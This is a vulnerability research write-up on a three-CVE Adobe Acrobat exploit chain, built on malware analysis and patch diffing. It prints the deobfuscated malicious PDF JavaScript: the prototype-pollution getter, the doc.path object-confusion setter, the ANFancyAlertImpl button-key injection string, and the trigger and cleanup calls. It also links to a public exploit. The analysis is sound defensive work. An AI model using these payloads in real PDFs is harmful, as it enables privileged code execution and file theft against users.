Research

CVE-2026-34621 / 34622 / 34626 — Adobe Acrobat RCE Chain via Prototype Pollution & eval() Injection

Youssef Azefzaf
17 May 2026
April 2026
Adobe Acrobat Reader

Introduction

In April 2026, Adobe released a series of emergency security updates addressing multiple critical vulnerabilities in Adobe Acrobat Reader that were actively exploited in the wild. The vulnerabilities allowed attackers to achieve arbitrary JavaScript execution, prototype pollution, privilege escalation, and sensitive file access through malicious PDF documents.

CVEAdvisoryFixed VersionType
CVE-2026-34621APSB26-4326.001.21411Prototype Pollution (swConn)
CVE-2026-34622APSB26-4426.001.21431Unsafe eval() injection (ANFancyAlertImpl)
CVE-2026-34626APSB26-4426.001.21431Trusted Object Confusion (doc.path)

This research is divided into two parts: Malware Analysis (extracting and deobfuscating the malicious JavaScript, reconstructing the payload and exploitation primitives) and Patch Diffing (comparing vulnerable vs patched versions to identify root causes and mitigations).

🔴

Key Discovery: What initially appeared to be a simple prototype pollution vulnerability was in fact a three-primitive chain — prototype pollution + unsafe eval injection + trusted object confusion — combining to cross trust boundaries and execute inside privileged Acrobat workflows.

Background & Timeline

01
Initial Discovery — CVE-2026-34621
EXPMON identifies the in-the-wild exploit. Described initially as a prototype pollution issue. Adobe ships emergency patch APSB26-43 fixing version 26.001.21411.
02
First Patch — Incomplete Fix
Analysis reveals the first patch mitigated prototype pollution via swConn scoping but did not fully break the exploit chain. ANFancyAlertImpl() injection primitive remained reachable.
03
Second Patch — CVE-2026-34622 & CVE-2026-34626
Days later, Adobe ships APSB26-44 (26.001.21431) addressing the eval() injection sink and the trusted object confusion primitive. Full chain mitigated.
04
Full Chain Reconstructed
Patch diffing reveals the complete three-primitive chain and confirms the relationship between all three CVEs.

Part 1 — Malware Analysis

Initial PDF Analysis

The first step was static analysis of the malicious PDF. PDF parsing tools were used to enumerate the document's internal object structure. The PDF contained multiple JavaScript objects, compressed streams, and several obfuscated payloads.

PDF object structure enumeration
Screen 1 — PDF object structure enumeration showing multiple objects and compressed streams

During enumeration, one object immediately stood out:

Object 9 heavily obfuscated JavaScript
Screen 2 — Object 9 containing heavily obfuscated JavaScript with aggressive variable renaming, encoded strings, and lookup tables

Recovering the BTN1 Payload

After partially deobfuscating Object 9, the script was observed attempting to recover a variable named btn1:

app.t = app[setTimeOut](util[stringFromStream](SOAP[streamDecode](
    util[streamFromString](getField(btn1)[value]), base64)), 500);

The script dynamically decoded and processed this element before executing additional logic. Continuing enumeration identified Object 7 as the container holding the BTN1 blob — stored as a large Base64-encoded string.

Object 7 Base64 blob
Screen 3 — Object 7 containing the BTN1 Base64-encoded second-stage payload
Decoded second-stage JavaScript
Screen 4 — Second-stage JavaScript revealed after Base64 decoding

Deobfuscating the Second-Stage JavaScript

The decoded JavaScript was significantly larger and contained multiple layers of obfuscation: decompression routines, encoded string tables, helper functions, and dynamically reconstructed execution paths. To understand the payload, the lookup table used by the obfuscator was reconstructed and original strings were progressively restored.

Deobfuscated payload
Screen 5 — Deobfuscated payload revealing the actual exploit logic

Recovering the Full Exploit Logic

Once fully deobfuscated, the payload exposed a far more sophisticated chain than initially expected. The malware defined a global function global.reindeer that dynamically created a second primitive global.execute:

global.reindeer = () => {
    global.execute = function(data) {
        try {
            var stream = {
                'read': app.trustedFunction.bind(app, filename)
            };

            var ob = {
                'getFullName': SOAP.stringFromStream.bind(SOAP, stream)
            };

            // Primitive 1: Prototype Pollution
            Object.prototype.__defineGetter__('swConn', () => ob);

            var data = { 'WT': '' };
            this.dirty = true;

            // Primitive 3: Trusted Object Confusion
            var pwnobj = {
                'lastIndexOf': SilentDocCenterLogin.bind(app, data, {}),
                'substring': () => { throw new Error(''); }
            };

            this.__defineSetter__('path', () => pwnobj);

            // Trigger privileged workflow
            ANShareFile({ 'doc': eval('this') });

        } catch(e) {}
    };
};
⚠️

Three Primitives Combined: This payload demonstrates all three exploitation primitives simultaneously — prototype pollution via __defineGetter__, trusted object confusion via __defineSetter__ on path, and abuse of privileged internal APIs (app.trustedFunction, SOAP.stringFromStream, ANShareFile).

The ANFancyAlertImpl Injection Primitive

The most critical part of the chain was how the attacker initially triggered the privileged execution path. The malware constructed the following crafted object:

var buttons = {
    "a(a(a'); }); global.reindeer(); throw Error('oops'); //": 0
};

try {
    ANFancyAlertImpl('', [], 0, buttons, 0, 0, 0, 0, 0);
} catch(e) {}

The payload does not call global.reindeer() directly. Instead, the attacker injects JavaScript into the key of the buttons object, which is then passed into ANFancyAlertImpl(). Reverse engineering revealed that Adobe internally:

  • Iterated over button object keys
  • Reconstructed JavaScript strings from them
  • Evaluated them inside a privileged context

This created an internal eval()-like sink. The malicious key breaks out of expected parsing logic and injects global.reindeer().

Final Stage — Cleanup and Execution

// Remove prototype pollution traces after exploitation
delete Object.prototype.swConn;

// Trigger final privileged execution
global.execute(global.get);

The cleanup step removes evidence of the prototype pollution primitive. The final global.execute() call triggers the privileged Acrobat functionality, potentially enabling local resource access, data exfiltration, or native code execution depending on the target environment.

Part 2 — Patch Diffing

Recovering Vulnerable and Patched Versions

After reconstructing the exploit chain, patch diffing was performed by collecting both the vulnerable version and the patched release. A binary and JavaScript diff quickly revealed modifications in internal JavaScript-related components.

Patch diff overview
Screen 6 — Binary diff between vulnerable and patched versions showing modified internal JavaScript components

Internal scripts were compiled, packed, or transformed into proprietary formats. A custom extraction script was developed to reconstruct readable versions:

with open('/home/youssef/Desktop/RCE/Acrobat Patch 2/JSByteCodeWin.bin', 'rb') as f:
    data = f.read()

marker = b'\x2f\x00\x2a\x00'
offset = data.find(marker)

if offset != -1:
    text = data[offset:].decode('utf-16-le', errors='ignore')
    with open('output3.js', 'w', encoding='utf-8') as out:
        out.write(text)
    print(f"Extracted from offset {hex(offset)}")

First Patch — Prototype Pollution Mitigation (CVE-2026-34621)

The first patch introduced a small but critical modification inside SilentDocCenterLogin(). The vulnerable code assigned without declaring a local variable:

// VULNERABLE — swConn resolved via prototype chain
swConn = Collab.swConnect(...);
// PATCHED — properly scoped local variable
var swConn = Collab.swConnect(...);
First patch prototype pollution fix
Screen 7 — Adobe mitigating prototype pollution by converting swConn from a global variable into a locally scoped variable

Because Acrobat's JavaScript engine resolves undeclared identifiers through the global object and prototype chain, the undeclared swConn became dangerous under prototype pollution — allowing the attacker to redirect trusted collaboration workflows toward attacker-controlled objects.

⚠️

Incomplete Fix: This first patch only addressed prototype pollution. The ANFancyAlertImpl() injection primitive remained fully reachable, meaning the exploit chain was still executable through a different entry point.

Second Patch — ANFancyAlertImpl eval() Sink (CVE-2026-34622)

The second patch addressed the more dangerous primitive — attacker-controlled string injection into an internal execution context.

ANFancyAlertImpl patch
Screen 8 — Patch replacing the unsafe eval()-based button handler with a safe closure-based implementation

The root cause was that Adobe dynamically constructed button handlers using eval() with attacker-controlled input:

// VULNERABLE — eval() with attacker-controlled bid
desc[bid] = eval("(function(dialog) { dialog.end('" + bid + "'); })");
// PATCHED — safe closure, no dynamic evaluation
desc[bid] = (function(id) {
    return function(dialog) {
        dialog.end(id);
    };
})(bid);

This change completely removes dynamic string evaluation and prevents attacker-controlled data from reaching the eval() sink — directly neutralizing the ANFancyAlertImpl injection primitive.

Third Patch — Trusted Object Confusion doc.path (CVE-2026-34626)

The third primitive exploited the assumption that doc.path was always a primitive string. Vulnerable collaboration workflows performed operations like:

// VULNERABLE — no type validation
data.docPath.substring(...)
data.docPath.lastIndexOf(...)

An attacker could substitute a crafted object with malicious method implementations instead of a real string:

var pwnobj = {
    'lastIndexOf': SilentDocCenterLogin.bind(app, data, {}),
    'substring': () => { throw new Error(''); }
};

this.__defineSetter__('path', () => pwnobj);
doc.path trusted object confusion patch
Screen 9 — Patch adding type validation to collaboration workflows that previously assumed doc.path was always a string

Adobe patched multiple collaboration functions to add type validation, including ANShareFile, ANStartApproval, ANSendForApproval, ANSendForReview, ANSendForSharedReview, and others.

Full Exploit Chain

After reconstructing both vulnerabilities and analyzing all three patches, the complete exploitation chain is:

Exploit : GitHub - CVE-2026-34621
video 10: Successful read of file /C/Windows/System32/drivers/etc/hosts
📄 Malicious PDF delivered to victim
Object 9 — JavaScript Loader executes on open
BTN1 — Base64 blob decoded → second-stage payload
⚡ CVE-2026-34622 — ANFancyAlertImpl() injection → global.reindeer()
⚡ CVE-2026-34621 — Prototype Pollution via Object.prototype.swConn
⚡ CVE-2026-34626 — Trusted Object Confusion via doc.path setter
SilentDocCenterLogin() → app.trustedFunction() called
🎯 Privileged JavaScript Execution → Sandbox Escape / File Access / RCE

Conclusion

This research highlights how complex modern PDF exploitation chains have become. The analyzed exploit did not rely on a traditional memory corruption vulnerability — instead it combined JavaScript runtime manipulation, prototype pollution, unsafe internal evaluation behavior, and privileged execution context abuse.

Patch diffing proved especially valuable because it revealed the exact assumptions made by Adobe developers, the internal variables involved in exploitation, and the relationship between the three CVEs.

Perhaps the most instructive aspect of this case is that the first patch did not fully eliminate exploitation. Only after the second emergency release did the full attack chain become properly mitigated.

Key Takeaways: High-impact exploits frequently combine multiple smaller vulnerabilities rather than relying on a single isolated bug. Partial mitigations are often insufficient. Patch diffing remains one of the most effective techniques for vulnerability research — it reveals not just what was fixed, but why it was dangerous in the first place.

References